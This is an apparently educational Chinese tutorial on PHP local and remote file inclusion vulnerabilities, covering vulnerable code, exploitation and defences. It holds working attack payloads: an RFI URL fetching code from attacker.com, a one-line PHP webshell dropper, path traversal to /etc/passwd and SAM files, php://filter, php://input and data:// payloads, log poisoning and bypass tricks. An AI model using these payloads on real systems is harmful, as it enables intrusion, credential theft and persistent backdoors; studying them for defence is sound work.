一文详解文件包含漏洞
字数 2124 2025-08-10 22:07:53
文件包含漏洞详解
1. 文件包含漏洞介绍
1.1 漏洞解释
文件包含漏洞是指当使用函数包含任意文件时,由于对文件来源过滤不严谨,导致可以包含恶意文件并执行其中的代码,从而达到攻击目的的安全漏洞。
1.2 漏洞原理
开发过程中,开发者会将重复代码单独写在文件中,通过函数调用这些文件。如果这些包含操作使用用户可控的变量作为参数,且未做充分安全防护,就会导致文件包含漏洞。
2. 文件包含函数
2.1 常见文件包含函数
- PHP: include(), include_once(), require(), require_once()
- JSP/Servlet: java.io.file(), java.io.filereader()
- ASP: include file, include virtual
2.2 PHP函数区别
| 函数 | 区别 |
|---|---|
| include | 包含文件发生错误时警告但继续执行 |
| include_once | 同include,但会检查文件是否已导入 |
| require | 包含文件发生错误时终止执行 |
| require_once | 同require,但会检查文件是否已导入 |
3. 漏洞特征与分类
3.1 漏洞特征
URL中常见特征(不保证一定存在漏洞):
http://www.xxx.com/index.php/?name=x.php
http://www.xxx.com/index.php/?file=index2
3.2 漏洞分类
-
本地文件包含(LFI)
- 通过包含本地文件路径加载恶意文件
- 示例代码:
<?php $filename=$_GET['name']; include($filename); ?>
-
远程文件包含(RFI)
- 包含远程服务器上的恶意文件
- 前提条件: php.ini中allow_url_fopen和allow_url_include为ON
- 示例:
攻击者访问:<?php $filename=$_GET['name']; include($filename); ?>http://victim.com/1.php/?name=http://attacker.com/malicious.php
4. 漏洞危害与特点
4.1 危害
- 读取服务器敏感文件(配置文件、密码文件等)
- 与webshell联动执行恶意代码
- 远程文件包含危害通常更大
4.2 特点
- 无视文件扩展名
- 即使文件后缀为.jpg/.txt等,只要内容符合PHP语法也会被执行
- 无条件解析PHP代码
- 遇到符合PHP语法的代码即执行
5. 漏洞利用方式
5.1 判断服务器类型
- Linux: 严格区分大小写
- Windows: 不区分大小写
5.2 敏感文件读取
-
绝对路径读取
- Windows示例:
c:\boot.ini c:\windows\system32\inetsrv\MetaBase.xml c:\windows\repair\sam - Linux示例:
/etc/passwd /usr/local/app/apache2/conf/httpd.conf /etc/my.cnf
- Windows示例:
-
相对路径读取
- 使用
../逐级回退 - 示例:
http://victim.com/1.php/?name=../../../../etc/passwd - 可多输入
../,系统会自动截断到根目录
- 使用
5.3 远程文件配合一句话木马
攻击者PHP代码:
<?php fputs(fopen("shell.php", "w"),"<?php @eval($_POST['pass']);?>");?>
访问后生成shell.php,可使用蚁剑连接
5.4 伪协议利用
-
file协议
- 示例:
?name=file://C:/Windows/win.ini
- 示例:
-
http协议
- 示例:
?name=http://www.baidu.com
- 示例:
-
data协议
- 需要allow_url_include和allow_url_fopen为ON
- 示例:
?name=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
-
php协议
- php://filter读取文件:
?name=php://filter/read=convert.base64-encode/resource=2.php - php://input执行代码(需POST请求):
?name=php://input
- php://filter读取文件:
5.5 日志文件包含
-
日志文件位置
- Apache:
- Windows: apache安装目录/logs/
- Linux: /var/log/apache/
- Nginx:
- Windows: nginx安装目录/logs/
- Linux: /var/log/nginx/
- IIS:
- IIS6: C:\windows\system32\LogFiles
- IIS7: %SystemDrive%\inetpub\logs\LogFiles
- Apache:
-
利用方式
- 访问
http://victim.com/<?php phpinfo();?> - 包含日志文件:
?name=../Apache/logs/access.log
- 访问
6. 漏洞绕过方式
6.1 本地文件包含绕过
-
空字符绕过
- 条件: PHP<5.3.4且关闭魔术引导
- 示例:
?name=2.php%00
-
超长字符绕过
- 利用系统目录长度限制(Windows≤256字节, Linux≤4096字节)
- 示例:
?name=2.php/././././..././././
6.2 远程文件包含绕过
- 空字符绕过: 同本地
- 超长字符绕过: 主要使用
./ - ?绕过: 在URL后添加?
- #绕过: 使用编码
%23 - 空格绕过: 使用编码
%20
7. 防御措施
- 设置白名单: 限制可包含的文件名
- 过滤危险字符: 检查
../等目录遍历字符 - 设置文件目录: 通过open_basedir限制PHP可访问目录
- 关闭危险配置:
- 关闭allow_url_include
- 关闭allow_url_fopen
- 更新PHP版本: 避免使用存在已知漏洞的旧版本